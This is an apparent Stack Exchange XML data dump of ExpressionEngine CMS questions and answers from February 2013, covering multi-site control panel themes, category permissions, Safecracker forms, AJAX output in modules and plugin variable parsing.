  <row Id="6831" PostTypeId="2" ParentId="6790" CreationDate="2013-02-27T22:24:19.897" Score="1" Body="&lt;p&gt;About the most &quot;user-friendly&quot; way I've found (for generic CKeditor) is as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use &quot;Browse Server&quot; to insert thumbnail then link the large scale image with &quot;browse server&quot; &lt;/li&gt;&#xA;&lt;li&gt;Under&#xA;&quot;advanced&quot; tab in link menu type in a specific class name (like &quot;lightbox&quot;)&#xA;into the stylesheet classes.&lt;/li&gt;&#xA;&lt;li&gt;Use javascript to come back and hook onto all the .lightbox classes. You can also use the Relationship field in the advanced tab to create galleries (at least with &lt;a href=&quot;http://fancybox.net/&quot; rel=&quot;nofollow&quot;&gt;fancybox&lt;/a&gt;.) &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It's still a couple steps, but it doesn't involve seeing any HTML :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I'm using the WYGWAM flavor of CKeditor so I'm not sure if the expresso build has the exact same interface, but the principle should still apply.&lt;/p&gt;&#xA;" OwnerUserId="787" LastEditorUserId="787" LastEditDate="2013-02-28T14:18:47.733" LastActivityDate="2013-02-28T14:18:47.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6832" PostTypeId="1" AcceptedAnswerId="6833" CreationDate="2013-02-27T22:34:46.920" Score="2" ViewCount="303" Body="&lt;p&gt;I have 2 sites setup using MSM, but I am having a slight issue with the second sites control panel theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current setup is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;site1  &#xA;  List item&#xA;  index.php&#xA;  admin.php&#xA;  system&#xA;  etc&#xA;&#xA;site2&#xA;  index.php&#xA;  admin.php&#xA;  templates&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have edited the index.php and admin.php of site 2 to change the $system_path for site 2. When I go to www.site2.com/admin.php the admin panel is working, but there is no CSS, its just a white screen. I have tried editing the general configuration of site 2 but I'm struggling to get the control panel theme to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&#xA;Ben&lt;/p&gt;&#xA;" OwnerUserId="1082" LastActivityDate="2013-02-27T22:40:26.127" Title="MSM Control Panel" Tags="|multi-site-manager|system|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6833" PostTypeId="2" ParentId="6832" CreationDate="2013-02-27T22:40:26.127" Score="4" Body="&lt;p&gt;Chances are that your Theme Folder URL is set to something relative (e.g., &lt;code&gt;/themes/&lt;/code&gt;), which won't work unless you have the theme folder copied to both sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try setting it to &lt;code&gt;http://site1.com/themes/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FWIW, I generally make my clients administer all sites in an MSM setup from one master control panel location (the parent domain, if you will) to prevent issues like these.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-02-27T22:40:26.127" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6834" PostTypeId="2" ParentId="2289" CreationDate="2013-02-27T23:26:48.407" Score="4" Body="&lt;p&gt;I found that this was happening because I was importing the database from a dev server, into the production server database, without first dropping all tables...which left unused/old tables still in the production database. &lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2013-02-27T23:26:48.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6835" PostTypeId="2" ParentId="6799" CreationDate="2013-02-27T23:28:27.723" Score="4" Body="&lt;p&gt;SuperAdmins have access to everything, hence no issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First step is to make sure the Admin group has permissions to add/edit categories enabled. The setting is called &lt;strong&gt;&quot;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/members/member_groups_edit.html#can-edit-and-add-new-categories&quot; rel=&quot;nofollow&quot;&gt;Can edit and add new categories&lt;/a&gt;&quot;&lt;/strong&gt; and it's located here: Members ‣ Member Groups ‣ Create/Edit. I you want them to be able to delete categories, enable &quot;Can delete categories&quot; as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second step is to make these two changes to the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/channels/category_create_group.html#can-edit-categories&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;category group&lt;/strong&gt;&lt;/a&gt; settings as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once done, your Admin group should be able to manage categories correctly.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-02-27T23:28:27.723" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6836" PostTypeId="2" ParentId="6581" CreationDate="2013-02-27T23:38:17.120" Score="1" Body="&lt;p&gt;Make sure you have the RTE Module, Field Type and Extension installed. You might be missing one of these.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-02-27T23:38:17.120" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6837" PostTypeId="1" CreationDate="2013-02-28T00:43:34.277" Score="4" ViewCount="90" Body="&lt;p&gt;I have upgraded a site to EE2 that used Bucketlist extensively (over 8000 items) to serve content from S3. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bucketlist was not updated to EE2, and won't be by the looks of things, so I need to find a way to migrate the urls from the Bucketlist tables to Pixel and Tonic's Assets. (Or alternatively Channel Files) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I can see it will take a fairly complex (for me!) SQL query to achieve. Does anyone have experience of this process? It would be great to get some tips before I start the process. &lt;/p&gt;&#xA;" OwnerUserId="1083" LastActivityDate="2013-05-20T22:07:08.207" Title="Migrating from Bucketlist (ee1) to Assets (ee2)" Tags="|ee2|assets|ee1|upgrade|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6838" PostTypeId="1" CreationDate="2013-02-28T01:13:19.757" Score="2" ViewCount="370" Body="&lt;p&gt;Apologies for the vagueness in the title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two channels: &lt;strong&gt;Businesses &amp;amp; Events&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to allow businesses to display special offers for any event. They choose the event in a Playa field and set the offer for that event in the same Matrix row. See the image for better clarity. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pViyY.png&quot; alt=&quot;Matrix with Playa&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the actual event page, I'd like all child entries to be able to display the {title} of the business and the {offer} they provided in the row that the relationship was made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tussled over this for the better part of the day with some (but not much) luck. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would you approach this scenario, if this even possible?&lt;/p&gt;&#xA;" OwnerUserId="4" LastActivityDate="2013-03-05T17:34:46.320" Title="Retrieving Matrix Row data via Playa Relationship" Tags="|matrix|playa|relationships|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6839" PostTypeId="1" AcceptedAnswerId="15259" CreationDate="2013-02-28T01:23:28.307" Score="1" ViewCount="131" Body="&lt;p&gt;The site I will be building soon will require permissions for various parts of the site, documents, videos, etc. I am planning on using Zoo Visitor &amp;amp; Categories to simulate multiple member groups. I'm planning to use Exp:resso Store to somehow be the means of purchasing products and applying categories of the products to the member, too, upon purchase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anything like this been done? If not, what hooks would I use to check a product's category/categories so I might apply it to a member? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also the price of a product may be dependent on permissions/products the member already has, so say if they have Product A, they can get Product B at a discounted price, or if they have any number of the following products they automatically get Product X. To accomplish this and other types of discounts I'm thinking of using another Channel (e.g. a &quot;Price Modifier Channel&quot;) that links products together via Playa fields and a field with the discount type/value. At some point a custom add-on will go through all related entries of a product to see if any discounts are applicable, if so, apply them (price modifiers can be made up on the fly, right?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just wanted to see if I've got the right idea to proceed with, regardless, I'm open to suggestions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also it's not very clear which of Store's hooks I'd be using to do any of these things. I guess since the template is in charge of presenting the product along with price modifier it could just be in the custom add-on itself via a module, no need for hook?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry I couldn't be any more brief/specific, not my forte. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2013-11-01T10:49:04.293" Title="Extending Exp:resso Store for member categories: Right ideas? Which hooks?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6840" PostTypeId="2" ParentId="6772" CreationDate="2013-02-28T02:53:47.517" Score="1" Body="&lt;p&gt;I don't know any addons that does this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there is no reason you can't build this yourself in a custom template which only the SuperAdmin members can see... then link to the template from inside the CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://tablesorter.com/docs/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;jQuery Tablesorter plugin&lt;/strong&gt;&lt;/a&gt; would handle the sorting for you and a custom query to get the member data that you need.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-02-28T02:53:47.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6841" PostTypeId="1" AcceptedAnswerId="6844" CreationDate="2013-02-28T03:02:27.307" Score="2" ViewCount="335" Body="&lt;p&gt;Is it possible to use the Allow EE Code plugin and textarea formatting option and also have formatting as XHTML?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an existing field (textarea with XHTML formatting) with lots of content in many existing entries. I would like to change that field to Allow EE Code, but still have it auto format as XHTML. As far as I can tell, when you change a field to format as &quot;Allow EE Code&quot; it doesn't use XHTML or Auto BR formatting. No auto formatting at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to marry the two and have the best of both worlds?&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2013-02-28T15:35:18.813" Title="Allow EE Code w/ XHTML auto formatting?" Tags="|formatting|allow-eecode|field-conversion|text-formatting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6842" PostTypeId="2" ParentId="6642" CreationDate="2013-02-28T04:15:07.010" Score="3" Body="&lt;p&gt;For custom field columns that will be used in join statements I find its best to set the column type to an &lt;code&gt;int&lt;/code&gt; or a &lt;code&gt;varchar(#)&lt;/code&gt; and then index it as suggested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also optimise the way EE gets its data from the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When EE queries the database for a set of channel entries it brings back a lot of data that is often not needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This includes joining all columns from &lt;code&gt;exp_channel_data&lt;/code&gt;, &lt;code&gt;exp_members&lt;/code&gt;, &lt;code&gt;exp_member_data&lt;/code&gt; and &lt;code&gt;exp_channels&lt;/code&gt; for the related data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing the way that EE generates its queries for the Channels module will yield some impressive results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had fun changing the channel entries query by adding a new extension hook to the &lt;code&gt;build_sql_query&lt;/code&gt; method and adjusting the returned columns and table joins using tag parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While working on a big site pulling lots of database content in from many &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tags I found it necessary to create an add-on to better manage the size of returned database results and keep the memory footprint smaller. Adding SQL comments via a tag parameter is a small bonus to make SQL debugging much easier when searching the MySQL logs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're interested feel free to take a look: &lt;a href=&quot;http://ee-garage.com/nsm-turbo-channels&quot; rel=&quot;nofollow&quot;&gt;http://ee-garage.com/nsm-turbo-channels&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that this version is rather experimental, hasn't been updated in a while and was never officially released.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully it will give you some ideas on how you can make EE's database functions run faster for you.&lt;/p&gt;&#xA;" OwnerUserId="841" LastActivityDate="2013-02-28T04:15:07.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6843" PostTypeId="2" ParentId="6785" CreationDate="2013-02-28T04:33:25.240" Score="1" Body="&lt;p&gt;Since the shipping option and subsequently the total are not updated until the cart is updated you would need to write some javascript that submitted the cart via AJAX and then updated the total accordingly.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-02-28T04:33:25.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6844" PostTypeId="2" ParentId="6841" CreationDate="2013-02-28T04:46:32.543" Score="1" Body="&lt;p&gt;Yes. You can leave the custom field formatting set to xhtml, and then in your template just wrap the custom field in the Allow EE Code plugin.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:allow_eecode}{your_custom_field}{/exp:allow_eecode}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also do the reverse, setting the field formatting to Allow EE Code and then use  the &lt;a href=&quot;https://github.com/EllisLab/Xhtml/blob/master/xhtml/pi.xhtml.php&quot; rel=&quot;nofollow&quot;&gt;xhtml typography plugin&lt;/a&gt; in the template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:xhtml:full}{your_custom_field}{/exp:xhtml:full}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That said, these approaches may not be super-useful because of the way xhtml formatting wraps line breaks in &lt;code&gt;p&lt;/code&gt; tags. Hard to say without knowing more about your use case. In my experience the times I need the Allow EE Code plugin I'm applying any html myself along with the EE tags rather than relying on auto xhtml. So you &lt;em&gt;could&lt;/em&gt; consider setting the field formatting to none.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, this might be off target for you but if you provide a bit more information and some of your template code you might get a better answer.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-02-28T15:35:18.813" LastActivityDate="2013-02-28T15:35:18.813" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6845" PostTypeId="1" CreationDate="2013-02-28T05:53:24.470" Score="0" ViewCount="62" Body="&lt;p&gt;On my safecracker form I'm trying to allow each user to add 1 entry to be listed in a directory.  I just created a new account, trying to test the form, but it has the values from the previous account for some reason.  &lt;a href=&quot;http://d.pr/i6sk&quot; rel=&quot;nofollow&quot;&gt;Heres the form&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What did I do wrong?&lt;/p&gt;&#xA;" OwnerUserId="941" LastActivityDate="2013-03-30T12:58:30.570" Title="Safecracker New Entry already filled out?" Tags="|safecracker|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6846" PostTypeId="1" AcceptedAnswerId="7002" CreationDate="2013-02-28T08:20:41.630" Score="2" ViewCount="942" Body="&lt;p&gt;What's the proper way to return an AJAX response within an ExpressionEngine module?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good ole' &lt;code&gt;echo &quot;foo&quot;; die();&lt;/code&gt; seems to work but there must be a better way!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the CodeIgniter approach &lt;code&gt;$this-&amp;gt;EE-&amp;gt;output-&amp;gt;set_output(json_encode($array));&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help!&lt;/p&gt;&#xA;" OwnerUserId="565" LastActivityDate="2013-03-05T04:40:48.857" Title="Proper way to output AJAX response in module?" Tags="|add-on-development|module|ajax|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6847" PostTypeId="2" ParentId="6845" CreationDate="2013-02-28T08:34:59.807" Score="0" Body="&lt;p&gt;If you are seeing previous form entries it could be caching - check this template isn't cached, clear the cache and try it again.&lt;/p&gt;&#xA;" OwnerUserId="463" LastActivityDate="2013-02-28T08:34:59.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6848" PostTypeId="1" CreationDate="2013-02-28T11:29:22.390" Score="4" ViewCount="296" Body="&lt;p&gt;I was hoping to pick people's brains on a topic. I am developing a web app which sits on top of Expression Engine and this has worked really well so far. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have one issue though and I have a quick solution but I was hoping to find a more elegant approach, perhaps using hooks or something of that nature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, our application is very heavily ajax-driven and as such our users can do quite a lot without ever really leaving the page. However, they need to be logged in to do this properly. So you can imagine a scenario whereby a user walks away from their computer for an extended period, comes back, sees the application still running and then attempts to work with it but finds that they either experience erratic behaviour or else nothing works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously I can set up a template somewhere which would return whether or not the user is logged in or if there is an active session, however this would then involve me either continuously checking that template via an ajax call or else checking the template before I process any other calls. So I'm just wondering if there is a way to kick the user out or redirect them to the login page when a session ends or something similar?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to avoid any unnecessary calls to templates, etc. so ideally there will be a more elegant approach out there, or even an existing module or extension. I have plenty of experience in developing third_party add-ons for EE so that's not an issue. Just looking for ideas really :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&#xA;Conor&lt;/p&gt;&#xA;" OwnerUserId="695" LastActivityDate="2013-03-05T19:17:21.000" Title="Intelligent ways to force redirects before a session ends?" Tags="|security|sessions|logout|session-end-hook|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6849" PostTypeId="2" ParentId="6845" CreationDate="2013-02-28T12:34:37.760" Score="1" Body="&lt;p&gt;You're using a lot of different calls in the &lt;a href=&quot;http://d.pr/i6sk&quot; rel=&quot;nofollow&quot;&gt;form&lt;/a&gt; you provided. I'm not certain they are in the proper order. You're calling &lt;a href=&quot;http://www.solspace.com/software/detail/user/&quot; rel=&quot;nofollow&quot;&gt;Solspace's User&lt;/a&gt;, then &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/index.html&quot; rel=&quot;nofollow&quot;&gt;Channel Entries&lt;/a&gt;, then &lt;a href=&quot;http://www.membrr.com&quot; rel=&quot;nofollow&quot;&gt;Membrr&lt;/a&gt;, then &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/index.html&quot; rel=&quot;nofollow&quot;&gt;SafeCracker&lt;/a&gt;, like so…&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:user:edit return=&quot;member/profile&quot;}&#xA;&#xA;    {exp:channel:entries&#xA;    channel=&quot;personal_trainer_directory&quot;&#xA;    limit=&quot;1&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    }&#xA;&#xA;    {if logged_in AND total_entries &amp;lt; 1}&#xA;&#xA;    {exp:membrr:subscribed plan=&quot;1003&quot;}&#xA;&#xA;    {exp:safecracker&#xA;    channel=&quot;personal_trainer_directory&quot;&#xA;    return=&quot;/member/profile&quot;&#xA;    entry_id=&quot;&quot;&#xA;    safecracker_head=&quot;no&quot;&#xA;    use_live_url=&quot;no&quot;&#xA;    url_title=&quot;&quot;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While other things could also be a factor, say 'cache', I'm wondering about your call order. Solspace's User:Edit form edits the &lt;strong&gt;currently&lt;/strong&gt; logged in user, unless you are providing a &lt;code&gt;member_id&lt;/code&gt; or &lt;code&gt;username&lt;/code&gt; in the url. You didn't provide a sample url, but let's assume, it's something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://mysite.com/directory/personal-trainers/joe-bob&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That would work for providing 'User' with the identification it needs, but in your next statement…&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;personal_trainer_directory&quot;&#xA;    limit=&quot;1&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you turn, dynamic processing off, which means channel:entries &lt;strong&gt;won't&lt;/strong&gt; check the 3rd segment for unique identification data, but you aren't telling it what to use as a unique identifier: an &lt;code&gt;entry_id&lt;/code&gt;, &lt;code&gt;url_title&lt;/code&gt;, &lt;code&gt;segment_4&lt;/code&gt;. So I'm not really certain what that statement is doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems as if you want it to count the number of records entered by the current or provided user, but as is, I think it will always provide &lt;em&gt;NO&lt;/em&gt; records. Which technically, satisfies your next component…&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in AND total_entries &amp;lt; 1}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;since 0 is less than 1. I think this may also be your culprit here, because unless you've set-up specific page error trapping, when 'no record' is found using &lt;code&gt;channel:entries&lt;/code&gt; then the last record entered is displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other information, looks fine. But I think your problem is in the &lt;code&gt;channel:entries&lt;/code&gt; statement:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;        channel=&quot;personal_trainer_directory&quot;&#xA;        limit=&quot;1&quot;&#xA;        dynamic=&quot;no&quot;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You need to tell it what to check for, so it doesn't just return the last record.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-02-28T12:34:37.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6850" PostTypeId="2" ParentId="6846" CreationDate="2013-02-28T12:57:37.207" Score="5" Body="&lt;p&gt;You can use &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;output-&amp;gt;send_ajax_response($array);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for the same purpose.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-02-28T12:57:37.207" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6851" PostTypeId="1" AcceptedAnswerId="6855" CreationDate="2013-02-28T14:03:29.400" Score="3" ViewCount="71" Body="&lt;p&gt;I don't want to force my customers to register as members (by using the register_member parameter on the checkout tag, but I would like to assume they'd like to by defaulting the checkbox created by the {field:register_member} tag to checked. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find any documentation on wether this is possible. I don't want to have to use JS to do this if possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any guidance much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;T&lt;/p&gt;&#xA;" OwnerUserId="785" LastActivityDate="2013-02-28T14:38:38.650" Title="Expresso Store - field:register_member default to checked" Tags="|expresso-store|members|forms|tags|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6852" PostTypeId="1" AcceptedAnswerId="6866" CreationDate="2013-02-28T14:21:21.733" Score="1" ViewCount="692" Body="&lt;p&gt;I've searched the EE forum archives and have been unable to find a solution to a problem I'm having. I have a custom category field that I'm using to determine placement of category links throughout my website (e.g main nav, supporting links, etc). This is working fine, however, my issue is that I'd like to not write the ',' after the category link (see code snippet below) if its the last category to be displayed of those that are flagged to show. I can't use {count} and {total_results} vars here since I don't know up front which categories will need to be displayed (based on the custom field). If these were channel entries, I could use the search:field_name option to filter the entries and then use count and total_results vars, but that doesn't exist for the channel:categories tag. Any ideas of how to solve this one? I'm running EE 2.5.5&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories style=&quot;linear&quot; category_group=&quot;3&quot;}&#xA;            {if nav_location == 'Display in primary and header navigation'}&#xA;                &amp;lt;a href=&quot;{path=&quot;{category_url_title}&quot;}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;,&#xA;            {/if}&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="958" LastActivityDate="2013-02-28T17:37:22.703" Title="Get Count From Channel Categories" Tags="|categories|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6853" PostTypeId="1" AcceptedAnswerId="6860" CreationDate="2013-02-28T14:26:13.553" Score="1" ViewCount="50" Body="&lt;p&gt;The {email} tag in my comments form is entering the EE admin email address for a guest user. Is this expected behaviour?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get it to default to an empty field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All advice much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="785" LastActivityDate="2013-02-28T15:23:59.953" Title="{email] tag defaulting to EE admin email address for guest user" Tags="|email|tags|comment-form|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6854" PostTypeId="2" ParentId="6852" CreationDate="2013-02-28T14:35:17.527" Score="1" Body="&lt;p&gt;Try backspace=&quot;1&quot; like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:categories style=&quot;linear&quot; category_group=&quot;3&quot; backspace=&quot;1&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should remove the trailing comma from the last category.&lt;/p&gt;&#xA;" OwnerUserId="463" LastActivityDate="2013-02-28T14:35:17.527" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6855" PostTypeId="2" ParentId="6851" CreationDate="2013-02-28T14:38:38.650" Score="2" Body="&lt;p&gt;Assuming you have more than one page to your checkout process, the easiest way to do this is simply to submit a hidden field on the first page of your checkout which checks the register_member field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, simply add this to the first page of your checkout form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;register_member&quot; value=&quot;1&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, by the time the customer reaches step 2, the box will already be checked, but they are free to uncheck it if they like :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that checking it by default only makes sense if you have already given the customer the option to log in. Otherwise you are just making life hard for your repeat customers.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-02-28T14:38:38.650" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6856" PostTypeId="1" AcceptedAnswerId="6858" CreationDate="2013-02-28T15:14:11.767" Score="6" ViewCount="527" Body="&lt;p&gt;So if I have a plugin, with a tag like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:reggy mask=&quot;yes&quot;}&#xA;    {head-type}&#xA;{/exp:reggy}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I want to replace {head-type} with &quot;horse mask&quot; in the plugin code, how do I do that?  EE docs account for replacing the whole text or modifying it, but don't specifically address variable replacement.&lt;/p&gt;&#xA;" OwnerUserId="364" LastEditorUserId="22" LastEditDate="2013-02-28T21:15:09.273" LastActivityDate="2013-02-28T21:15:09.273" Title="Replace a variable within a plugin tag pair?" Tags="|add-on-development|plugin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6858" PostTypeId="2" ParentId="6856" CreationDate="2013-02-28T15:17:15.293" Score="9" Body="&lt;pre&gt;&lt;code&gt;$variables[] = array('variable_name' =&amp;gt; 'Your value');&#xA;$variables[] = array('variable_name' =&amp;gt; 'Different Value');&#xA;$variables[] = array('variable_name' =&amp;gt; 'Another one');&#xA;$this-&amp;gt;return_data = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, $variables);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is important to not manually specify indexes for the $variables array. The above example would loop through your tag pair three times and replace the output. Of course, normally you wouldn't be manually creating each individual iteration and it would come from query results or some other set of data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information on variable parsing, go &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/template.html#parsing-variables&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="365" LastActivityDate="2013-02-28T15:17:15.293" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
